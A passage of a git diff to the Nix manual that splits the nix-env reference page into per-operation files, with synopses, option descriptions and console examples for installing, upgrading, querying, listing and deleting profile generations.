to - obtain derivations. The `--file` option may be used to override - this default. +`nix-env` operates on the following files. - If `~/.nix-defexpr` is a file, it is loaded as a Nix expression. If - the expression is a set, it is used as the default Nix expression. - If the expression is a function, an empty set is passed as argument - and the return value is used as the default Nix expression. +{{#include ./files/default-nix-expression.md}} - If `~/.nix-defexpr` is a directory containing a `default.nix` file, - that file is loaded as in the above paragraph. - - If `~/.nix-defexpr` is a directory without a `default.nix` file, - then its contents (both files and subdirectories) are loaded as Nix - expressions. The expressions are combined into a single set, each - expression under an attribute with the same name as the original - file or subdirectory. - - For example, if `~/.nix-defexpr` contains two files, `foo.nix` and - `bar.nix`, then the default Nix expression will essentially be - - ```nix - { - foo = import ~/.nix-defexpr/foo.nix; - bar = import ~/.nix-defexpr/bar.nix; - } - ``` - - The file `manifest.nix` is always ignored. Subdirectories without a - `default.nix` file are traversed recursively in search of more Nix - expressions, but the names of these intermediate directories are not - added to the attribute paths of the default Nix expression. - - The command `nix-channel` places symlinks to the downloaded Nix - expressions from each subscribed channel in this directory. - - - `~/.nix-profile`\ - A symbolic link to the user's current profile. By default, this - symlink points to `prefix/var/nix/profiles/default`. The `PATH` - environment variable should include `~/.nix-profile/bin` for the - user environment to be visible to the user. - -# Operation `--install` - -## Synopsis - -`nix-env` {`--install` | `-i`} *args…* - [{`--prebuilt-only` | `-b`}] - [{`--attr` | `-A`}] - [`--from-expression`] [`-E`] - [`--from-profile` *path*] - [`--preserve-installed` | `-P`] - [`--remove-all` | `-r`] - -## Description - -The install operation creates a new user environment, based on the -current generation of the active profile, to which a set of store paths -described by *args* is added. The arguments *args* map to store paths in -a number of possible ways: - - - By default, *args* is a set of derivation names denoting derivations - in the active Nix expression. These are realised, and the resulting - output paths are installed. Currently installed derivations with a - name equal to the name of a derivation being added are removed - unless the option `--preserve-installed` is specified. - - If there are multiple derivations matching a name in *args* that - have the same name (e.g., `gcc-3.3.6` and `gcc-4.1.1`), then the - derivation with the highest *priority* is used. A derivation can - define a priority by declaring the `meta.priority` attribute. This - attribute should be a number, with a higher value denoting a lower - priority. The default priority is `0`. - - If there are multiple matching derivations with the same priority, - then the derivation with the highest version will be installed. - - You can force the installation of multiple derivations with the same - name by being specific about the versions. For instance, `nix-env -i - gcc-3.3.6 gcc-4.1.1` will install both version of GCC (and will - probably cause a user environment conflict\!). - - - If `--attr` (`-A`) is specified, the arguments are *attribute - paths* that select attributes from the top-level Nix - expression. This is faster than using derivation names and - unambiguous. To find out the attribute paths of available - packages, use `nix-env -qaP`. - - - If `--from-profile` *path* is given, *args* is a set of names - denoting installed store paths in the profile *path*. This is an - easy way to copy user environment elements from one profile to - another. - - - If `--from-expression` is given, *args* are Nix - [functions](../language/constructs.md#functions) - that are called with the active Nix expression as their single - argument. The derivations returned by those function calls are - installed. This allows derivations to be specified in an - unambiguous way, which is necessary if there are multiple - derivations with the same name. - - - If *args* are store derivations, then these are - [realised](nix-store.md#operation---realise), and the resulting output paths - are installed. - - - If *args* are store paths that are not store derivations, then these - are [realised](nix-store.md#operation---realise) and installed. - - - By default all outputs are installed for each derivation. That can - be reduced by setting `meta.outputsToInstall`. - -## Flags - - - `--prebuilt-only` / `-b`\ - Use only derivations for which a substitute is registered, i.e., - there is a pre-built binary available that can be downloaded in lieu - of building the derivation. Thus, no packages will be built from - source. - - - `--preserve-installed`; `-P`\ - Do not remove derivations with a name matching one of the - derivations being installed. Usually, trying to have two versions of - the same package installed in the same generation of a profile will - lead to an error in building the generation, due to file name - clashes between the two versions. However, this is not the case for - all packages. - - - `--remove-all`; `-r`\ - Remove all previously installed packages first. This is equivalent - to running `nix-env -e '.*'` first, except that everything happens - in a single transaction. - -## Examples - -To install a package using a specific attribute path from the active Nix expression: - -```console -$ nix-env -iA gcc40mips -installing `gcc-4.0.2' -$ nix-env -iA xorg.xorgserver -installing `xorg-server-1.2.0' -``` - -To install a specific version of `gcc` using the derivation name: - -```console -$ nix-env --install gcc-3.3.2 -installing `gcc-3.3.2' -uninstalling `gcc-3.1' -``` - -Using attribute path for selecting a package is preferred, -as it is much faster and there will not be multiple matches. - -Note the previously installed version is removed, since -`--preserve-installed` was not specified. - -To install an arbitrary version: - -```console -$ nix-env --install gcc -installing `gcc-3.3.2' -``` - -To install all derivations in the Nix expression `foo.nix`: - -```console -$ nix-env -f ~/foo.nix -i '.*' -``` - -To copy the store path with symbolic name `gcc` from another profile: - -```console -$ nix-env -i --from-profile /nix/var/nix/profiles/foo gcc -``` - -To install a specific store derivation (typically created by -`nix-instantiate`): - -```console -$ nix-env -i /nix/store/fibjb1bfbpm5mrsxc4mh2d8n37sxh91i-gcc-3.4.3.drv -``` - -To install a specific output path: - -```console -$ nix-env -i /nix/store/y3cgx0xj1p4iv9x0pnnmdhr8iyg741vk-gcc-3.4.3 -``` - -To install from a Nix expression specified on the command-line: - -```console -$ nix-env -f ./foo.nix -i -E \ - 'f: (f {system = "i686-linux";}).subversionWithJava' -``` - -I.e., this evaluates to `(f: (f {system = -"i686-linux";}).subversionWithJava) (import ./foo.nix)`, thus selecting -the `subversionWithJava` attribute from the set returned by calling the -function defined in `./foo.nix`. - -A dry-run tells you which paths will be downloaded or built from source: - -```console -$ nix-env -f '' -iA hello --dry-run -(dry run; not doing anything) -installing ‘hello-2.10’ -this path will be fetched (0.04 MiB download, 0.19 MiB unpacked): - /nix/store/wkhdf9jinag5750mqlax6z2zbwhqb76n-hello-2.10 - ... -``` - -To install Firefox from the latest revision in the Nixpkgs/NixOS 14.12 -channel: - -```console -$ nix-env -f https://github.com/NixOS/nixpkgs/archive/nixos-14.12.tar.gz -iA firefox -``` - -# Operation `--upgrade` - -## Synopsis - -`nix-env` {`--upgrade` | `-u`} *args* - [`--lt` | `--leq` | `--eq` | `--always`] - [{`--prebuilt-only` | `-b`}] - [{`--attr` | `-A`}] - [`--from-expression`] [`-E`] - [`--from-profile` *path*] - [`--preserve-installed` | `-P`] - -## Description - -The upgrade operation creates a new user environment, based on the -current generation of the active profile, in which all store paths are -replaced for which there are newer versions in the set of paths -described by *args*. Paths for which there are no newer versions are -left untouched; this is not an error. It is also not an error if an -element of *args* matches no installed derivations. - -For a description of how *args* is mapped to a set of store paths, see -[`--install`](#operation---install). If *args* describes multiple -store paths with the same symbolic name, only the one with the highest -version is installed. - -## Flags - - - `--lt`\ - Only upgrade a derivation to newer versions. This is the default. - - - `--leq`\ - In addition to upgrading to newer versions, also “upgrade” to - derivations that have the same version. Version are not a unique - identification of a derivation, so there may be many derivations - that have the same version. This flag may be useful to force - “synchronisation” between the installed and available derivations. - - - `--eq`\ - *Only* “upgrade” to derivations that have the same version. This may - not seem very useful, but it actually is, e.g., when there is a new - release of Nixpkgs and you want to replace installed applications - with the same versions built against newer dependencies (to reduce - the number of dependencies floating around on your system). - - - `--always`\ - In addition to upgrading to newer versions, also “upgrade” to - derivations that have the same or a lower version. I.e., derivations - may actually be downgraded depending on what is available in the - active Nix expression. - -For the other flags, see `--install`. - -## Examples - -```console -$ nix-env --upgrade -A nixpkgs.gcc -upgrading `gcc-3.3.1' to `gcc-3.4' -``` - -When there are no updates available, nothing will happen: - -```console -$ nix-env --upgrade -A nixpkgs.pan -``` - -Using `-A` is preferred when possible, as it is faster and unambiguous but -it is also possible to upgrade to a specific version by matching the derivation name: - -```console -$ nix-env -u gcc-3.3.2 --always -upgrading `gcc-3.4' to `gcc-3.3.2' -``` - -To try to upgrade everything -(matching packages based on the part of the derivation name without version): - -```console -$ nix-env -u -upgrading `hello-2.1.2' to `hello-2.1.3' -upgrading `mozilla-1.2' to `mozilla-1.4' -``` - -## Versions - -The upgrade operation determines whether a derivation `y` is an upgrade -of a derivation `x` by looking at their respective `name` attributes. -The names (e.g., `gcc-3.3.1` are split into two parts: the package name -(`gcc`), and the version (`3.3.1`). The version part starts after the -first dash not followed by a letter. `y` is considered an upgrade of `x` -if their package names match, and the version of `y` is higher than that -of `x`. - -The versions are compared by splitting them into contiguous components -of numbers and letters. E.g., `3.3.1pre5` is split into `[3, 3, 1, -"pre", 5]`. These lists are then compared lexicographically (from left -to right). Corresponding components `a` and `b` are compared as follows. -If they are both numbers, integer comparison is used. If `a` is an empty -string and `b` is a number, `a` is considered less than `b`. The special -string component `pre` (for *pre-release*) is considered to be less than -other components. String components are considered less than number -components. Otherwise, they are compared lexicographically (i.e., using -case-sensitive string comparison). - -This is illustrated by the following examples: - - 1.0 < 2.3 - 2.1 < 2.3 - 2.3 = 2.3 - 2.5 > 2.3 - 3.1 > 2.3 - 2.3.1 > 2.3 - 2.3.1 > 2.3a - 2.3pre1 < 2.3 - 2.3pre3 < 2.3pre12 - 2.3a < 2.3c - 2.3pre1 < 2.3c - 2.3pre1 < 2.3q - -# Operation `--uninstall` - -## Synopsis - -`nix-env` {`--uninstall` | `-e`} *drvnames…* - -## Description - -The uninstall operation creates a new user environment, based on the -current generation of the active profile, from which the store paths -designated by the symbolic names *drvnames* are removed. - -## Examples - -```console -$ nix-env --uninstall gcc -$ nix-env -e '.*' (remove everything) -``` - -# Operation `--set` - -## Synopsis - -`nix-env` `--set` *drvname* - -## Description - -The `--set` operation modifies the current generation of a profile so -that it contains exactly the specified derivation, and nothing else. - -## Examples - -The following updates a profile such that its current generation will -contain just Firefox: - -```console -$ nix-env -p /nix/var/nix/profiles/browser --set firefox -``` - -# Operation `--set-flag` - -## Synopsis - -`nix-env` `--set-flag` *name* *value* *drvnames* - -## Description - -The `--set-flag` operation allows meta attributes of installed packages -to be modified. There are several attributes that can be usefully -modified, because they affect the behaviour of `nix-env` or the user -environment build script: - - - `priority` can be changed to resolve filename clashes. The user - environment build script uses the `meta.priority` attribute of - derivations to resolve filename collisions between packages. Lower - priority values denote a higher priority. For instance, the GCC - wrapper package and the Binutils package in Nixpkgs both have a file - `bin/ld`, so previously if you tried to install both you would get a - collision. Now, on the other hand, the GCC wrapper declares a higher - priority than Binutils, so the former’s `bin/ld` is symlinked in the - user environment. - - - `keep` can be set to `true` to prevent the package from being - upgraded or replaced. This is useful if you want to hang on to an - older version of a package. - - - `active` can be set to `false` to “disable” the package. That is, no - symlinks will be generated to the files of the package, but it - remains part of the profile (so it won’t be garbage-collected). It - can be set back to `true` to re-enable the package. - -## Examples - -To prevent the currently installed Firefox from being upgraded: - -```console -$ nix-env --set-flag keep true firefox -``` - -After this, `nix-env -u` will ignore Firefox. - -To disable the currently installed Firefox, then install a new Firefox -while the old remains part of the profile: - -```console -$ nix-env -q -firefox-2.0.0.9 (the current one) - -$ nix-env --preserve-installed -i firefox-2.0.0.11 -installing `firefox-2.0.0.11' -building path(s) `/nix/store/myy0y59q3ig70dgq37jqwg1j0rsapzsl-user-environment' -collision between `/nix/store/...-firefox-2.0.0.11/bin/firefox' - and `/nix/store/...-firefox-2.0.0.9/bin/firefox'. -(i.e., can’t have two active at the same time) - -$ nix-env --set-flag active false firefox -setting flag on `firefox-2.0.0.9' - -$ nix-env --preserve-installed -i firefox-2.0.0.11 -installing `firefox-2.0.0.11' - -$ nix-env -q -firefox-2.0.0.11 (the enabled one) -firefox-2.0.0.9 (the disabled one) -``` - -To make files from `binutils` take precedence over files from `gcc`: - -```console -$ nix-env --set-flag priority 5 binutils -$ nix-env --set-flag priority 10 gcc -``` - -# Operation `--query` - -## Synopsis - -`nix-env` {`--query` | `-q`} *names…* - [`--installed` | `--available` | `-a`] - [{`--status` | `-s`}] - [{`--attr-path` | `-P`}] - [`--no-name`] - [{`--compare-versions` | `-c`}] - [`--system`] - [`--drv-path`] - [`--out-path`] - [`--description`] - [`--meta`] - [`--xml`] - [`--json`] - [{`--prebuilt-only` | `-b`}] - [{`--attr` | `-A`} *attribute-path*] - -## Description - -The query operation displays information about either the store paths -that are installed in the current generation of the active profile -(`--installed`), or the derivations that are available for installation -in the active Nix expression (`--available`). It only prints information -about derivations whose symbolic name matches one of *names*. - -The derivations are sorted by their `name` attributes. - -## Source selection - -The following flags specify the set of things on which the query -operates. - - - `--installed`\ - The query operates on the store paths that are installed in the - current generation of the active profile. This is the default. - - - `--available`; `-a`\ - The query operates on the derivations that are available in the - active Nix expression. - -## Queries - -The following flags specify what information to display about the -selected derivations. Multiple flags may be specified, in which case the -information is shown in the order given here. Note that the name of the -derivation is shown unless `--no-name` is specified. - - - `--xml`\ - Print the result in an XML representation suitable for automatic - processing by other tools. The root element is called `items`, which - contains a `item` element for each available or installed - derivation. The fields discussed below are all stored in attributes - of the `item` elements. - - - `--json`\ - Print the result in a JSON representation suitable for automatic - processing by other tools. - - - `--prebuilt-only` / `-b`\ - Show only derivations for which a substitute is registered, i.e., - there is a pre-built binary available that can be downloaded in lieu - of building the derivation. Thus, this shows all packages that - probably can be installed quickly. - - - `--status`; `-s`\ - Print the *status* of the derivation. The status consists of three - characters. The first is `I` or `-`, indicating whether the - derivation is currently installed in the current generation of the - active profile. This is by definition the case for `--installed`, - but not for `--available`. The second is `P` or `-`, indicating - whether the derivation is present on the system. This indicates - whether installation of an available derivation will require the - derivation to be built. The third is `S` or `-`, indicating whether - a substitute is available for the derivation. - - - `--attr-path`; `-P`\ - Print the *attribute path* of the derivation, which can be used to - unambiguously select it using the `--attr` option available in - commands that install derivations like `nix-env --install`. This - option only works together with `--available` - - - `--no-name`\ - Suppress printing of the `name` attribute of each derivation. - - - `--compare-versions` / `-c`\ - Compare installed versions to available versions, or vice versa (if - `--available` is given). This is useful for quickly seeing whether - upgrades for installed packages are available in a Nix expression. A - column is added with the following meaning: - - - `<` *version*\ - A newer version of the package is available or installed. - - - `=` *version*\ - At most the same version of the package is available or - installed. - - - `>` *version*\ - Only older versions of the package are available or installed. - - - `- ?`\ - No version of the package is available or installed. - - - `--system`\ - Print the `system` attribute of the derivation. - - - `--drv-path`\ - Print the path of the store derivation. - - - `--out-path`\ - Print the output path of the derivation. - - - `--description`\ - Print a short (one-line) description of the derivation, if - available. The description is taken from the `meta.description` - attribute of the derivation. - - - `--meta`\ - Print all of the meta-attributes of the derivation. This option is - only available with `--xml` or `--json`. - -## Examples - -To show installed packages: - -```console -$ nix-env -q -bison-1.875c -docbook-xml-4.2 -firefox-1.0.4 -MPlayer-1.0pre7 -ORBit2-2.8.3 -… -``` - -To show available packages: - -```console -$ nix-env -qa -firefox-1.0.7 -GConf-2.4.0.1 -MPlayer-1.0pre7 -ORBit2-2.8.3 -… -``` - -To show the status of available packages: - -```console -$ nix-env -qas --P- firefox-1.0.7 (not installed but present) ---S GConf-2.4.0.1 (not present, but there is a substitute for fast installation) ---S MPlayer-1.0pre3 (i.e., this is not the installed MPlayer, even though the version is the same!) -IP- ORBit2-2.8.3 (installed and by definition present) -… -``` - -To show available packages in the Nix expression `foo.nix`: - -```console -$ nix-env -f ./foo.nix -qa -foo-1.2.3 -``` - -To compare installed versions to what’s available: - -```console -$ nix-env -qc -... -acrobat-reader-7.0 - ? (package is not available at all) -autoconf-2.59 = 2.59 (same version) -firefox-1.0.4 < 1.0.7 (a more recent version is available) -... -``` - -To show all packages with “`zip`” in the name: - -```console -$ nix-env -qa '.*zip.*' -bzip2-1.0.6 -gzip-1.6 -zip-3.0 -… -``` - -To show all packages with “`firefox`” or “`chromium`” in the name: - -```console -$ nix-env -qa '.*(firefox|chromium).*' -chromium-37.0.2062.94 -chromium-beta-38.0.2125.24 -firefox-32.0.3 -firefox-with-plugins-13.0.1 -… -``` - -To show all packages in the latest revision of the Nixpkgs repository: - -```console -$ nix-env -f https://github.com/NixOS/nixpkgs/archive/master.tar.gz -qa -``` - -# Operation `--switch-profile` - -## Synopsis - -`nix-env` {`--switch-profile` | `-S`} *path* - -## Description - -This operation makes *path* the current profile for the user. That is, -the symlink `~/.nix-profile` is made to point to *path*. - -## Examples - -```console -$ nix-env -S ~/my-profile -``` - -# Operation `--list-generations` - -## Synopsis - -`nix-env` `--list-generations` - -## Description - -This operation print a list of all the currently existing generations -for the active profile. These may be switched to using the -`--switch-generation` operation. It also prints the creation date of the -generation, and indicates the current generation. - -## Examples - -```console -$ nix-env --list-generations - 95 2004-02-06 11:48:24 - 96 2004-02-06 11:49:01 - 97 2004-02-06 16:22:45 - 98 2004-02-06 16:24:33 (current) -``` - -# Operation `--delete-generations` - -## Synopsis - -`nix-env` `--delete-generations` *generations* - -## Description - -This operation deletes the specified generations of the current profile. -The generations can be a list of generation numbers, the special value -`old` to delete all non-current generations, a value such as `30d` to -delete all generations older than the specified number of days (except -for the generation that was active at that point in time), or a value -such as `+5` to keep the last `5` generations ignoring any newer than -current, e.g., if `30` is the current generation `+5` will delete -generation `25` and all older generations. Periodically deleting old -generations is important to make garbage collection effective. - -## Examples - -```console -$ nix-env --delete-generations 3 4 8 -``` - -```console -$ nix-env --delete-generations +5 -``` - -```console -$ nix-env --delete-generations 30d -``` - -```console -$ nix-env -p other_profile --delete-generations old -``` - -# Operation `--switch-generation` - -## Synopsis - -`nix-env` {`--switch-generation` | `-G`} *generation* - -## Description - -This operation makes generation number *generation* the current -generation of the active profile. That is, if the `profile` is the path -to the active profile, then the symlink `profile` is made to point to -`profile-generation-link`, which is in turn a symlink to the actual user -environment in the Nix store. - -Switching will fail if the specified generation does not exist. - -## Examples - -```console -$ nix-env -G 42 -switching from generation 50 to 42 -``` - -# Operation `--rollback` - -## Synopsis - -`nix-env` `--rollback` - -## Description - -This operation switches to the “previous” generation of the active -profile, that is, the highest numbered generation lower than the current -generation, if it exists. It is just a convenience wrapper around -`--list-generations` and `--switch-generation`. - -## Examples - -```console -$ nix-env --rollback -switching from generation 92 to 91 -``` - -```console -$ nix-env --rollback -error: no generation older than the current (91) exists -``` - -# Environment variables - - - `NIX_PROFILE`\ - Location of the Nix profile. Defaults to the target of the symlink - `~/.nix-profile`, if it exists, or `/nix/var/nix/profiles/default` - otherwise. +{{#include ./files/profiles.md}} diff --git a/doc/manual/src/command-ref/nix-env/delete-generations.md b/doc/manual/src/command-ref/nix-env/delete-generations.md new file mode 100644 index 000000000..b1ff0bb69 --- /dev/null +++ b/doc/manual/src/command-ref/nix-env/delete-generations.md @@ -0,0 +1,98 @@ +# Name + +`nix-env --delete-generations` - delete profile generations + +# Synopsis + +`nix-env` `--delete-generations` *generations* + +# Description + +This operation deletes the specified generations of the current profile. + +*generations* can be a one of the following: + +- [`...`](#generations-list) + + A list of generation numbers, each one a separate command-line argument. + + Delete exactly the profile generations given by their generation number. + Deleting the current generation is not allowed. + +- [The special value `old`](#generations-old) + + Delete all generations except the current one. + + > **WARNING** + > + > Older *and newer* generations will be deleted by this operation. + > + > One might expect this to just delete older generations than the curent one, but that is only true if the current generation is also the latest. + > Because one can roll back to a previous generation, it is possible to have generations newer than the current one. + > They will also be deleted. + +- [`d`](#generations-time) + + The last *number* days + + *Example*: `30d` + + Delete all generations created more than *number* days ago, except the most recent one of them. + This allows rolling back to generations that were available within the specified period. + +- [`+`](#generations-count) + + The last *number* generations up to the present + + *Example*: `+5` + + Keep the last *number* generations, along with any newer than current. + +Periodically deleting old generations is important to make garbage collection +effective. +The is because profiles are also garbage collection roots — any [store object] reachable from a profile is "alive" and ineligible for deletion. + +[store object]: @docroot@/store/store-object.md + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ./env-common.md}} + +{{#include ../env-common.md}} + +# Examples + +## Delete explicit generation numbers + +```console +$ nix-env --delete-generations 3 4 8 +``` + +Delete the generations numbered 3, 4, and 8, so long as the current active generation is not any of those. + +## Keep most-recent by count (number of generations) + +```console +$ nix-env --delete-generations +5 +``` + +Suppose `30` is the current generation, and we currently have generations numbered `20` through `32`. + +Then this command will delete generations `20` through `25` (`<= 30 - 5`), +and keep generations `26` through `31` (`> 30 - 5`). + +## Keep most-recent by time (number of days) + +```console +$ nix-env --delete-generations 30d +``` + +This command will delete all generations older than 30 days, except for the generation that was active 30 days ago (if it currently exists). + +## Delete all older + +```console +$ nix-env --profile other_profile --delete-generations old +``` diff --git a/doc/manual/src/command-ref/nix-env/env-common.md b/doc/manual/src/command-ref/nix-env/env-common.md new file mode 100644 index 000000000..200da7219 --- /dev/null +++ b/doc/manual/src/command-ref/nix-env/env-common.md @@ -0,0 +1,7 @@ +# Environment variables + +- `NIX_PROFILE` + + Location of the Nix profile. Defaults to the target of the symlink + `~/.nix-profile`, if it exists, or `/nix/var/nix/profiles/default` + otherwise. diff --git a/doc/manual/src/command-ref/nix-env/install.md b/doc/manual/src/command-ref/nix-env/install.md new file mode 100644 index 000000000..748dd1e7a --- /dev/null +++ b/doc/manual/src/command-ref/nix-env/install.md @@ -0,0 +1,238 @@ +# Name + +`nix-env --install` - add packages to user environment + +# Synopsis + +`nix-env` {`--install` | `-i`} *args…* + [{`--prebuilt-only` | `-b`}] + [{`--attr` | `-A`}] + [`--from-expression`] [`-E`] + [`--from-profile` *path*] + [`--preserve-installed` | `-P`] + [`--remove-all` | `-r`] + +# Description + +The `--install` operation creates a new user environment. +It is based on the current generation of the active [profile](@docroot@/command-ref/files/profiles.md), to which a set of [store paths] described by *args* is added. + +[store paths]: @docroot@/store/store-path.md + +The arguments *args* map to store paths in a number of possible ways: + +- By default, *args* is a set of [derivation] names denoting derivations in the [default Nix expression]. + These are [realised], and the resulting output paths are installed. + Currently installed derivations with a name equal to the name of a derivation being added are removed unless the option `--preserve-installed` is specified. + + [derivation]: @docroot@/glossary.md#gloss-derivation + [default Nix expression]: @docroot@/command-ref/files/default-nix-expression.md + [realised]: @docroot@/glossary.md#gloss-realise + + If there are multiple derivations matching a name in *args* that + have the same name (e.g., `gcc-3.3.6` and `gcc-4.1.1`), then the + derivation with the highest *priority* is used. A derivation can + define a priority by declaring the `meta.priority` attribute. This + attribute should be a number, with a higher value denoting a lower + priority. The default priority is `5`. + + If there are multiple matching derivations with the same priority, + then the derivation with the highest version will be installed. + + You can force the installation of multiple derivations with the same + name by being specific about the versions. For instance, `nix-env --install + gcc-3.3.6 gcc-4.1.1` will install both version of GCC (and will + probably cause a user environment conflict\!). + +- If [`--attr`](#opt-attr) / `-A` is specified, the arguments are *attribute paths* that select attributes from the [default Nix expression]. + This is faster than using derivation names and unambiguous. + Show the attribute paths of available packages with [`nix-env --query`](./query.md): + + ```console + nix-env --query --available --attr-path + ``` + +- If `--from-profile` *path* is given, *args* is a set of names + denoting installed [store paths] in the profile *path*. This is an + easy way to copy user environment elements from one profile to + another. + +- If `--from-expression` is given, *args* are [Nix language functions](@docroot@/language/syntax.md#functions) that are called with the [default Nix expression] as their single argument. + The derivations returned by those function calls are installed. + This allows derivations to be specified in an unambiguous way, which is necessary if there are multiple derivations with the same name. + +- If *args* are [store derivations](@docroot@/glossary.md#gloss-store-derivation), then these are [realised], and the resulting output paths are installed. + +- If *args* are [store paths] that are not store derivations, then these are [realised] and installed. + +- By default all [outputs](@docroot@/language/derivations.md#attr-outputs) are installed for each [derivation]. + This can be overridden by adding a `meta.outputsToInstall` attribute on the derivation listing a subset of the output names. + + Example: + + The file `example.nix` defines a derivation with two outputs `foo` and `bar`, each containing a file. + + ```nix + # example.nix + let + pkgs = import {}; + command = '' + ${pkgs.coreutils}/bin/mkdir -p $foo $bar + echo foo > $foo/foo-file + echo bar > $bar/bar-file + ''; + in + derivation { + name = "example"; + builder = "${pkgs.bash}/bin/bash"; + args = [ "-c" command ]; + outputs = [ "foo" "bar" ]; + system = builtins.currentSystem; + } + ``` + + Installing from this Nix expression will make files from both outputs appear in the current profile. + + ```console + $ nix-env --install --file example.nix + installing 'example' + $ ls ~/.nix-profile + foo-file + bar-file + manifest.nix + ``` + + Adding `meta.outputsToInstall` to that derivation will make `nix-env` only install files from the specified outputs. + + ```nix + # example-outputs.nix + import ./example.nix // { meta.outputsToInstall = [ "bar" ]; } + ``` + + ```console + $ nix-env --install --file example-outputs.nix + installing 'example' + $ ls ~/.nix-profile + bar-file + manifest.nix + ``` + +# Options + +- `--prebuilt-only` / `-b` + + Use only derivations for which a substitute is registered, i.e., + there is a pre-built binary available that can be downloaded in lieu + of building the derivation. Thus, no packages will be built from + source. + +- `--preserve-installed` / `-P` + + Do not remove derivations with a name matching one of the + derivations being installed. Usually, trying to have two versions of + the same package installed in the same generation of a profile will + lead to an error in building the generation, due to file name + clashes between the two versions. However, this is not the case for + all packages. + +- `--remove-all` / `-r` + + Remove all previously installed packages first. This is equivalent + to running `nix-env --uninstall '.*'` first, except that everything happens + in a single transaction. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ./env-common.md}} + +{{#include ../env-common.md}} + +# Examples + +To install a package using a specific attribute path from the active Nix expression: + +```console +$ nix-env --install --attr gcc40mips +installing `gcc-4.0.2' +$ nix-env --install --attr xorg.xorgserver +installing `xorg-server-1.2.0' +``` + +To install a specific version of `gcc` using the derivation name: + +```console +$ nix-env --install gcc-3.3.2 +installing `gcc-3.3.2' +uninstalling `gcc-3.1' +``` + +Using attribute path for selecting a package is preferred, +as it is much faster and there will not be multiple matches. + +Note the previously installed version is removed, since +`--preserve-installed` was not specified. + +To install an arbitrary version: + +```console +$ nix-env --install gcc +installing `gcc-3.3.2' +``` + +To install all derivations in the Nix expression `foo.nix`: + +```console +$ nix-env --file ~/foo.nix --install '.*' +``` + +To copy the store path with symbolic name `gcc` from another profile: + +```console +$ nix-env --install --from-profile /nix/var/nix/profiles/foo gcc +``` + +To install a specific [store derivation] (typically created by +`nix-instantiate`): + +```console +$ nix-env --install /nix/store/fibjb1bfbpm5mrsxc4mh2d8n37sxh91i-gcc-3.4.3.drv +``` + +To install a specific output path: + +```console +$ nix-env --install /nix/store/y3cgx0xj1p4iv9x0pnnmdhr8iyg741vk-gcc-3.4.3 +``` + +To install from a Nix expression specified on the command-line: + +```console +$ nix-env --file ./foo.nix --install --expr \ + 'f: (f {system = "i686-linux";}).subversionWithJava' +``` + +I.e., this evaluates to `(f: (f {system = +"i686-linux";}).subversionWithJava) (import ./foo.nix)`, thus selecting +the `subversionWithJava` attribute from the set returned by calling the +function defined in `./foo.nix`. + +A dry-run tells you which paths will be downloaded or built from source: + +```console +$ nix-env --file '' --install --attr hello --dry-run +(dry run; not doing anything) +installing ‘hello-2.10’ +this path will be fetched (0.04 MiB download, 0.19 MiB unpacked): + /nix/store/wkhdf9jinag5750mqlax6z2zbwhqb76n-hello-2.10 + ... +``` + +To install Firefox from the latest revision in the Nixpkgs/NixOS 14.12 +channel: + +```console +$ nix-env --file https://github.com/NixOS/nixpkgs/archive/nixos-14.12.tar.gz --install --attr firefox +``` + diff --git a/doc/manual/src/command-ref/nix-env/list-generations.md b/doc/manual/src/command-ref/nix-env/list-generations.md new file mode 100644 index 000000000..a4881ece8 --- /dev/null +++ b/doc/manual/src/command-ref/nix-env/list-generations.md @@ -0,0 +1,33 @@ +# Name + +`nix-env --list-generations` - list profile generations + +# Synopsis + +`nix-env` `--list-generations` + +# Description + +This operation print a list of all the currently existing generations +for the active profile. These may be switched to using the +`--switch-generation` operation. It also prints the creation date of the +generation, and indicates the current generation. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ./env-common.md}} + +{{#include ../env-common.md}} + +# Examples + +```console +$ nix-env --list-generations + 95 2004-02-06 11:48:24 + 96 2004-02-06 11:49:01 + 97 2004-02-06 16:22:45 + 98 2004-02-06 16:24:33 (current) +``` + diff --git a/doc/manual/src/command-ref/nix-env/opt-common.md b/doc/manual/src/command-ref/nix-env/opt-common.md new file mode 100644 index 000000000..1479ca0bd --- /dev/null +++ b/doc/manual/src/command-ref/nix-env/opt-common.md @@ -0,0 +1,38 @@ +# Options + +The following options are allowed for all `nix-env` operations, but may not always have an effect. + +- `--file` / `-f` *path* + + Specifies the Nix expression (designated below as the *active Nix + expression*) used by the `--install`, `--upgrade`, and `--query + --available` operations to obtain derivations. The default is + `~/.nix-defexpr`. + + If the argument starts with `http://` or `https://`, it is + interpreted as the URL of a tarball that will be downloaded and + unpacked to a temporary location. The tarball must include a single + top-level directory containing at least a file named `default.nix`. + +- `--profile` / `-p` *path* + + Specifies the profile to be used by those operations that operate on + a profile (designated below as the *active profile*). A profile is a + sequence of user environments called *generations*, one of which is + the *current generation*. + +- `--dry-run` + + For the `--install`, `--upgrade`, `--uninstall`, + `--switch-generation`, `--delete-generations` and `--rollback` + operations, this flag will cause `nix-env` to print what *would* be + done if this flag had not been specified, without actually doing it. + + `--dry-run` also prints out which paths will be + [substituted](@docroot@/glossary.md) (i.e., downloaded) and which paths + will be built from source (because no substitute is available). + +- `--system-filter` *system* + + By default, operations such as `--query --available` show derivations matching any platform. This option + allows you to use derivations for the specified platform *system*. diff --git a/doc/manual/src/command-ref/nix-env/query.md b/doc/manual/src/command-ref/nix-env/query.md new file mode 100644 index 000000000..c67794ed5 --- /dev/null +++ b/doc/manual/src/command-ref/nix-env/query.md @@ -0,0 +1,233 @@ +# Name + +`nix-env --query` - display information about packages + +# Synopsis + +`nix-env` {`--query` | `-q`} *names…* + [`--installed` | `--available` | `-a`] + [{`--status` | `-s`}] + [{`--attr-path` | `-P`}] + [`--no-name`] + [{`--compare-versions` | `-c`}] + [`--system`] + [`--drv-path`] + [`--out-path`] + [`--description`] + [`--meta`] + [`--xml`] + [`--json`] + [{`--prebuilt-only` | `-b`}] + [{`--attr` | `-A`} *attribute-path*] + +# Description + +The query operation displays information about either the store paths +that are installed in the current generation of the active profile +(`--installed`), or the derivations that are available for installation +in the active Nix expression (`--available`). It only prints information +about derivations whose symbolic name matches one of *names*. + +The derivations are sorted by their `name` attributes. + +# Source selection + +The following flags specify the set of things on which the query +operates. + + - `--installed` + + The query operates on the store paths that are installed in the + current generation of the active profile. This is the default. + + - `--available` / `-a` + + The query operates on the derivations that are available in the + active Nix expression. + +# Queries + +The following flags specify what information to display about the +selected derivations. Multiple flags may be specified, in which case the +information is shown in the order given here. Note that the name of the +derivation is shown unless `--no-name` is 